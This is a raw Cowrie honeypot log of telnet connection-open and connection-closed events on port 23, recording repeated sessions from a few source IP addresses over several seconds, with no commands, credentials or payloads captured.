{"eventid":"cowrie.session.closed","duration":74.69677948951721,"message":"Connection lost after 74 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:47:52.434293Z","src_ip":"174.142.104.49","session":"6262d096a093","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":74.5996241569519,"message":"Connection lost after 74 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:47:52.626101Z","src_ip":"174.142.104.49","session":"1893095aa736","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.868343114852905,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:47:52.947922Z","src_ip":"174.142.104.49","session":"2488d9839e94","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.61943745613098,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:47:53.055217Z","src_ip":"174.142.104.49","session":"64c807a49abc","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.915963888168335,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:47:53.094102Z","src_ip":"104.245.105.2","session":"736b7703e142","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.37919020652771,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:47:53.155248Z","src_ip":"193.22.147.168","session":"5f811d066e86","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00219655036926,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:47:54.406646Z","src_ip":"174.142.104.49","session":"5e3b9549f53e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.82831382751465,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:47:54.551065Z","src_ip":"174.142.104.49","session":"1f7faf13767e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":48396,"dst_ip":"159.203.135.109","dst_port":23,"session":"dfa0edbebb59","protocol":"telnet","message":"New connection: 174.142.104.49:48396 (159.203.135.109:23) [session: dfa0edbebb59]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:47:54.636383Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":47252,"dst_ip":"159.203.135.109","dst_port":23,"session":"b8b6233798b8","protocol":"telnet","message":"New connection: 174.142.104.49:47252 (159.203.135.109:23) [session: b8b6233798b8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:47:54.992595Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":45802,"dst_ip":"159.203.135.109","dst_port":23,"session":"555166827b1a","protocol":"telnet","message":"New connection: 174.142.104.49:45802 (159.203.135.109:23) [session: 555166827b1a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:47:55.049795Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":49640,"dst_ip":"159.203.135.109","dst_port":23,"session":"38ece7be34a5","protocol":"telnet","message":"New connection: 174.142.104.49:49640 (159.203.135.109:23) [session: 38ece7be34a5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:47:55.389350Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":49810,"dst_ip":"159.203.135.109","dst_port":23,"session":"ee64e2029cf5","protocol":"telnet","message":"New connection: 174.142.104.49:49810 (159.203.135.109:23) [session: ee64e2029cf5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:47:55.510900Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":50743,"dst_ip":"159.203.135.109","dst_port":23,"session":"c94cecaeabe5","protocol":"telnet","message":"New connection: 174.142.104.49:50743 (159.203.135.109:23) [session: c94cecaeabe5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:47:56.071813Z"}
{"eventid":"cowrie.session.closed","duration":33.54054546356201,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:47:56.421731Z","src_ip":"193.22.147.168","session":"906b0da22938","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"193.22.147.168","src_port":40318,"dst_ip":"10.17.0.5","dst_port":23,"session":"7a38c267da8f","protocol":"telnet","message":"New connection: 193.22.147.168:40318 (10.17.0.5:23) [session: 7a38c267da8f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:47:56.673062Z"}
{"eventid":"cowrie.session.closed","duration":32.28976893424988,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:47:56.732348Z","src_ip":"193.22.147.168","session":"d8982d87f358","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.1365807056427,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:47:56.945672Z","src_ip":"193.22.147.168","session":"107e512bddfa","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.82237982749939,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:47:57.014596Z","src_ip":"174.142.104.49","session":"5dcd32f4966e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"193.22.147.168","src_port":40328,"dst_ip":"10.17.0.5","dst_port":23,"session":"65c839335156","protocol":"telnet","message":"New connection: 193.22.147.168:40328 (10.17.0.5:23) [session: 65c839335156]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:47:57.513848Z"}
{"eventid":"cowrie.session.closed","duration":32.54154849052429,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:47:57.589684Z","src_ip":"193.22.147.168","session":"c4a8bdf2468d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"193.22.147.168","src_port":40306,"dst_ip":"10.17.0.5","dst_port":23,"session":"f6ceb6bef462","protocol":"telnet","message":"New connection: 193.22.147.168:40306 (10.17.0.5:23) [session: f6ceb6bef462]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:47:57.595004Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":54030,"dst_ip":"159.203.135.109","dst_port":23,"session":"2e0aacd08488","protocol":"telnet","message":"New connection: 174.142.104.49:54030 (159.203.135.109:23) [session: 2e0aacd08488]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:47:58.004363Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":54080,"dst_ip":"159.203.135.109","dst_port":23,"session":"3b8cae55c557","protocol":"telnet","message":"New connection: 174.142.104.49:54080 (159.203.135.109:23) [session: 3b8cae55c557]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:47:58.047674Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":54268,"dst_ip":"159.203.135.109","dst_port":23,"session":"c092bfc162d0","protocol":"telnet","message":"New connection: 174.142.104.49:54268 (159.203.135.109:23) [session: c092bfc162d0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:47:58.176689Z"}
{"eventid":"cowrie.session.connect","src_ip":"193.22.147.168","src_port":40330,"dst_ip":"10.17.0.5","dst_port":23,"session":"12eb3ca51d09","protocol":"telnet","message":"New connection: 193.22.147.168:40330 (10.17.0.5:23) [session: 12eb3ca51d09]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:47:58.519812Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":55014,"dst_ip":"159.203.135.109","dst_port":23,"session":"6684210bb620","protocol":"telnet","message":"New connection: 174.142.104.49:55014 (159.203.135.109:23) [session: 6684210bb620]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:47:58.633055Z"}
{"eventid":"cowrie.session.connect","src_ip":"193.22.147.168","src_port":40346,"dst_ip":"10.17.0.5","dst_port":23,"session":"6ce0b09ae503","protocol":"telnet","message":"New connection: 193.22.147.168:40346 (10.17.0.5:23) [session: 6ce0b09ae503]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:47:58.703865Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":55370,"dst_ip":"159.203.135.109","dst_port":23,"session":"d065b0f6f079","protocol":"telnet","message":"New connection: 174.142.104.49:55370 (159.203.135.109:23) [session: d065b0f6f079]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:47:58.853388Z"}
{"eventid":"cowrie.session.closed","duration":33.25102257728577,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:47:58.891268Z","src_ip":"161.132.53.68","session":"04d11861943c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":56424,"dst_ip":"159.203.135.109","dst_port":23,"session":"34766bcdf7d3","protocol":"telnet","message":"New connection: 174.142.104.49:56424 (159.203.135.109:23) [session: 34766bcdf7d3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:47:59.177571Z"}
{"eventid":"cowrie.session.closed","duration":31.007869243621826,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:47:59.260547Z","src_ip":"174.142.104.49","session":"e114ff469abd","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":51066,"dst_ip":"159.203.135.109","dst_port":23,"session":"60becb9abff9","protocol":"telnet","message":"New connection: 174.142.104.49:51066 (159.203.135.109:23) [session: 60becb9abff9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:47:59.337531Z"}
{"eventid":"cowrie.session.connect","src_ip":"193.22.147.168","src_port":32794,"dst_ip":"10.17.0.5","dst_port":23,"session":"7a52e360a84f","protocol":"telnet","message":"New connection: 193.22.147.168:32794 (10.17.0.5:23) [session: 7a52e360a84f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:47:59.638187Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":52574,"dst_ip":"159.203.135.109","dst_port":23,"session":"39fe670be154","protocol":"telnet","message":"New connection: 174.142.104.49:52574 (159.203.135.109:23) [session: 39fe670be154]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:48:00.148341Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":52618,"dst_ip":"159.203.135.109","dst_port":23,"session":"a14db8db9884","protocol":"telnet","message":"New connection: 174.142.104.49:52618 (159.203.135.109:23) [session: a14db8db9884]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:48:00.177654Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":57568,"dst_ip":"159.203.135.109","dst_port":23,"session":"76f410a05153","protocol":"telnet","message":"New connection: 174.142.104.49:57568 (159.203.135.109:23) [session: 76f410a05153]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:48:00.195360Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":41370,"dst_ip":"159.203.135.109","dst_port":23,"session":"6ba64d2d12d8","protocol":"telnet","message":"New connection: 174.142.104.49:41370 (159.203.135.109:23) [session: 6ba64d2d12d8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:48:00.713617Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":46464,"dst_ip":"159.203.135.109","dst_port":23,"session":"7a33fa968d3f","protocol":"telnet","message":"New connection: 174.142.104.49:46464 (159.203.135.109:23) [session: 7a33fa968d3f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:48:00.717448Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":53534,"dst_ip":"159.203.135.109","dst_port":23,"session":"312f150beae8","protocol":"telnet","message":"New connection: 174.142.104.49:53534 (159.203.135.109:23) [session: 312f150beae8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:48:00.745642Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":58560,"dst_ip":"159.203.135.109","dst_port":23,"session":"64fced3f1954","protocol":"telnet","message":"New connection: 174.142.104.49:58560 (159.203.135.109:23) [session: 64fced3f1954]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:48:00.762881Z"}
{"eventid":"cowrie.session.closed","duration":120.00106143951416,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:48:00.906443Z","src_ip":"174.142.104.49","session":"70a4e44ca09f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.938071489334106,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:48:01.119286Z","src_ip":"193.22.147.168","session":"ac3757512e5a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":57498,"dst_ip":"159.203.135.109","dst_port":23,"session":"cbeb35fa8263","protocol":"telnet","message":"New connection: 174.142.104.49:57498 (159.203.135.109:23) [session: cbeb35fa8263]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:48:01.144161Z"}
{"eventid":"cowrie.session.closed","duration":30.970427989959717,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:48:01.240315Z","src_ip":"193.22.147.168","session":"1e85d05b2532","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":69.82595372200012,"message":"Connection lost after 69 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:48:01.315106Z","src_ip":"174.142.104.49","session":"2b5a3a2c3fde","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.041306257247925,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:48:01.705915Z","src_ip":"174.142.104.49","session":"86543a59a6cd","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"161.132.53.68","src_port":43544,"dst_ip":"159.203.135.109","dst_port":23,"session":"ebcebf52ec6a","protocol":"telnet","message":"New connection: 161.132.53.68:43544 (159.203.135.109:23) [session: ebcebf52ec6a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:48:01.761507Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":58622,"dst_ip":"159.203.135.109","dst_port":23,"session":"e9df8569a416","protocol":"telnet","message":"New connection: 174.142.104.49:58622 (159.203.135.109:23) [session: e9df8569a416]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:48:01.808377Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":53762,"dst_ip":"159.203.135.109","dst_port":23,"session":"650a736009de","protocol":"telnet","message":"New connection: 174.142.104.49:53762 (159.203.135.109:23) [session: 650a736009de]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:48:01.897470Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":58808,"dst_ip":"159.203.135.109","dst_port":23,"session":"fd3aed0ea7a5","protocol":"telnet","message":"New connection: 174.142.104.49:58808 (159.203.135.109:23) [session: fd3aed0ea7a5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:48:01.926501Z"}
{"eventid":"cowrie.session.closed","duration":32.079174280166626,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:48:02.030036Z","src_ip":"174.142.104.49","session":"cc894e8c5d9e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":59097,"dst_ip":"159.203.135.109","dst_port":23,"session":"cd9430781f34","protocol":"telnet","message":"New connection: 174.142.104.49:59097 (159.203.135.109:23) [session: cd9430781f34]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:48:02.105278Z"}
{"eventid":"cowrie.session.closed","duration":30.984582901000977,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:48:02.232810Z","src_ip":"193.22.147.168","session":"a56c0aa26fba","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.117462158203125,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:48:02.301505Z","src_ip":"193.22.147.168","session":"ab973e7c4657","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.826270580291748,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:48:02.443629Z","src_ip":"193.22.147.168","session":"ffca565b9f3a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":78.57632184028625,"message":"Connection lost after 78 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:48:02.642108Z","src_ip":"174.142.104.49","session":"5feeb1c333ef","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.657018423080444,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:48:02.785395Z","src_ip":"174.142.104.49","session":"c3a6cc7ab33e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00185513496399,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:48:03.019548Z","src_ip":"174.142.104.49","session":"dc3db7e9ed5b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.902591705322266,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:48:03.408048Z","src_ip":"193.22.147.168","session":"281c968751df","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":79.04867911338806,"message":"Connection lost after 79 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:48:03.795196Z","src_ip":"174.142.104.49","session":"1e14267f0174","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":59034,"dst_ip":"159.203.135.109","dst_port":23,"session":"ffce7a5405de","protocol":"telnet","message":"New connection: 174.142.104.49:59034 (159.203.135.109:23) [session: ffce7a5405de]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:48:04.066843Z"}
{"eventid":"cowrie.session.closed","duration":120.00132703781128,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:48:04.082110Z","src_ip":"174.142.104.49","session":"a17771b97c7e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":35854,"dst_ip":"159.203.135.109","dst_port":23,"session":"760f18c930c6","protocol":"telnet","message":"New connection: 174.142.104.49:35854 (159.203.135.109:23) [session: 760f18c930c6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:48:05.182015Z"}
{"eventid":"cowrie.session.closed","duration":31.883318185806274,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:48:05.187444Z","src_ip":"174.142.104.49","session":"eb19180d781b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.00512719154358,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:48:05.218922Z","src_ip":"174.142.104.49","session":"eb337a6a7916","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":37530,"dst_ip":"159.203.135.109","dst_port":23,"session":"7fab528b893e","protocol":"telnet","message":"New connection: 174.142.104.49:37530 (159.203.135.109:23) [session: 7fab528b893e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:48:05.238934Z"}
{"eventid":"cowrie.session.connect","src_ip":"193.22.147.168","src_port":32800,"dst_ip":"10.17.0.5","dst_port":23,"session":"dd5c15525600","protocol":"telnet","message":"New connection: 193.22.147.168:32800 (10.17.0.5:23) [session: dd5c15525600]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:48:05.328233Z"}
{"eventid":"cowrie.session.closed","duration":30.71972966194153,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:48:05.406374Z","src_ip":"174.142.104.49","session":"eef4989bced4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"161.132.53.68","src_port":43560,"dst_ip":"159.203.135.109","dst_port":23,"session":"d0e4d429321b","protocol":"telnet","message":"New connection: 161.132.53.68:43560 (159.203.135.109:23) [session: d0e4d429321b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:48:05.467175Z"}
{"eventid":"cowrie.session.closed","duration":32.6862998008728,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:48:05.565186Z","src_ip":"193.22.147.168","session":"bb398214e778","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00213170051575,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:48:05.705368Z","src_ip":"174.142.104.49","session":"26914af2341b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":75.81110501289368,"message":"Connection lost after 75 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:48:05.792097Z","src_ip":"174.142.104.49","session":"08fd618d81e4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":75.44894409179688,"message":"Connection lost after 75 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:48:05.954106Z","src_ip":"174.142.104.49","session":"ef118bbe4499","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"193.22.147.168","src_port":32808,"dst_ip":"10.17.0.5","dst_port":23,"session":"b50e05abbcc3","protocol":"telnet","message":"New connection: 193.22.147.168:32808 (10.17.0.5:23) [session: b50e05abbcc3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:48:06.001534Z"}
{"eventid":"cowrie.session.closed","duration":82.73545694351196,"message":"Connection lost after 82 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:48:06.045626Z","src_ip":"174.142.104.49","session":"b46ff3feb3a0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.990437746047974,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:48:06.120339Z","src_ip":"174.142.104.49","session":"5f2bc31c2076","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":60848,"dst_ip":"159.203.135.109","dst_port":23,"session":"f7ebc128d472","protocol":"telnet","message":"New connection: 174.142.104.49:60848 (159.203.135.109:23) [session: f7ebc128d472]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:48:06.153560Z"}
{"eventid":"cowrie.session.closed","duration":30.981163263320923,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:48:06.286606Z","src_ip":"174.142.104.49","session":"1c51c2a9f958","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":34424,"dst_ip":"159.203.135.109","dst_port":23,"session":"a34aea13472b","protocol":"telnet","message":"New connection: 174.142.104.49:34424 (159.203.135.109:23) [session: a34aea13472b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:48:06.319182Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":37726,"dst_ip":"159.203.135.109","dst_port":23,"session":"265b15482da6","protocol":"telnet","message":"New connection: 174.142.104.49:37726 (159.203.135.109:23) [session: 265b15482da6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:48:06.407015Z"}
{"eventid":"cowrie.session.connect","src_ip":"193.22.147.168","src_port":32814,"dst_ip":"10.17.0.5","dst_port":23,"session":"e80c261bad34","protocol":"telnet","message":"New connection: 193.22.147.168:32814 (10.17.0.5:23) [session: e80c261bad34]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:48:06.737962Z"}
